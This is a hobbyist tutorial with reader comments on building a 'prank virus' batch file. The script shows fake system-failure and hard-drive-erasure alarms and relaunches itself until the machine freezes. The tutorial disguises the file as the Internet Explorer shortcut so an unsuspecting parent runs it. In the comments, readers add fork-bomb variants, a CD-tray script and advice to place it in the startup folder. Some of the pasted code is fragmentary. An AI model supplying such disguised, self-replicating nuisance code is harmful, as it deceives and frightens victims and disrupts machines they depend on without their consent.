Basic Batch Virus Prank


Introduction: Basic Batch Virus Prank

Very funny thing to do to a parents computer. Harmless in every way. All you must do is restart the computer and delete the .BAT file and everything will go back to normal.

Step 1: Writing the Batch File

1) Go Start and open up a basic text document. I like to use notepad because it is quick to load and easy to use.

2) In your text document cut and paste this:

@echo off
echo System check
echo -
echo Power - FAILED
echo -
echo -
echo Norton - FAILED
echo -
echo Breach of IP adress
echo -
echo Firewall - FAILED
echo -
echo Virus attaining: ****-****-****-8894
echo -
echo Hard drive must be erased and rebooted to resume windows.
echo -
echo -
echo Starting to reboot hardrive.
echo -
echo Do not attempt to quit.
echo -
echo Restart after 10 minutes approximately.
start Internet Explorer.bat

3) Now click "File" then "Save as..." then save it as "Internet Explorer.BAT" onto the Desktop

I will explain to you what each of these symbols mean.

@echo off : This tells the file to hide what its doing and display what we tell it to.

echo : This tells the file to display something. It displays whatever you write after it.

PAUSE : This is what makes that sign come up that says "Press any key to continue" which literally pauses the file.

start a.bat
GOTO START : This tells the computer to run the file over and over and over again without stopping which causes the computer to freeze since it gets opened so much.

Step 2: Creating a Shortcut

4) Now place this file into "My Documents" to keep it hidden.

5) Once it is in "My Documents" right click it and click "Create Shortcut"

Step 3: Saving, Changing, and Executing

6) Once you have created to shortcut go to it and right click it to open the menu and click on "Properties"

7) This will open up a window. At the top of this window are tabs. Click on the "Shortcut" tab.

8) Now click on at the bottom of the window a button that says "Change Icon"

9) This will open another window. Scroll all the way to your left to find a picture that closely resembles the Internet Explorer icon. Click it and press "OK"

10) Now with the property window still up click on the "Options" tab. In this tab you will find a section that says "Display Options". Now click the circle labeled "Full screen".

11) At the bottom of the "Properties" window click "Apply".

12) Now move your file to the desktop and edit it to delete the "shortcut to" on the name of the file. After that take the current Internet Explorer and move it to "My Documents". If a warning label shows click yes.

P.S. To "deactivate" it just restart the computer. Mind you every time you click it you will have to restart it again so delete it after your first use. P.S.

Footnote: If you can't find the original Internet Explorer you can replace it by going into program files and dragging it to the desktop



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is there any way to abort the process once it has started

3 replies

as this comment is from a few years ago i expect you wont read this but "pause break" will stop any batch file so it stops doing things

mhhh you have to open task menager and shut down the prozess ........ But if you just didtn write the "goto start " you can just close it

i know you commented a while ago but yes. if you simply close the command window

Amazing!!me and a friend have been looking at these codes and we have made a code that laggs and opens the cd drive!

you should add timeouts and an auto restart

Actually using loop with loads of starts ok too

If you want to harm their computer...

@echo off

echo The Virus Has Been Downloaded

ping localhost -n 5 >nul


echo It can't be stopped!

ping localhost -n 2 >nul



goto loop


This command will open google forever.



@echo off



goto loop


Is a simpler version of the top one.


Open the CD drive over, and over, and over forever.

Dim ts
Dim strDriveLetter
Dim intDriveLetter
Dim fs 'As Scripting.FileSystemObject
Const CDROM = 4
On Error Resume Next
Set fs = CreateObject("Scripting.FileSystemObject")
strDriveLetter = ""
For intDriveLetter = Asc("A") To Asc("Z")
If fs.GetDrive(Chr(intDriveLetter)).DriveType = CDROM Then
If Err.Number = 0 Then
strDriveLetter = Chr(intDriveLetter)
Exit For
End If
End If
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
For d = 0 to colCDROMs.Count - 1
Next 'null

For d = 0 to colCDROMs.Count - 1
Next 'null

set owmp = nothing
set colCDROMs = nothing

And antivirus programs detect it as a potentially harmful program!

Put this in startup folder and your computer will be really screwed up.

aww yeah!

Awwwww nice best prank evr


This is amazing! I searched about 20, and this was the best. Simple and effective, this gets MY thumbs-up. But... if anything, what happens if you DO "press any key"? Does something actually HAPPEN?

4 replies

Because there is no code after it it will just close and stop the cmmands.

If you press a key it will re-open itself over and over again until it causes your computer to crash with lag. Have fun!

yeah it starts his selfe again and again and again so you cant close it

nothing happens thats just a message

so it's a fork bomb and a fake virus? 2 hits! however, if you wanted to not do the slow part, you could write something to close the bat as the second one opens.

1 reply

Well, the actual purpose of this .bat file is mainly to mercilessly slow the victim's computer, and the command to close the command prompt is "EXIT," so instead of typing "GOTO START," type "EXIT." This will close the command prompt after each restart, unfortunately, not slowing your victim's computer, and losing its effectiveness. Hope you found this information helpful!

(quote1) --> "Harmless in every way."
(quote2) --> "GOTO START : This tells the computer to run the file over and over and over again without stopping which causes the computer to freeze since it gets opened so much."

OMFG Freezing your parents computer is soooooo harmless :P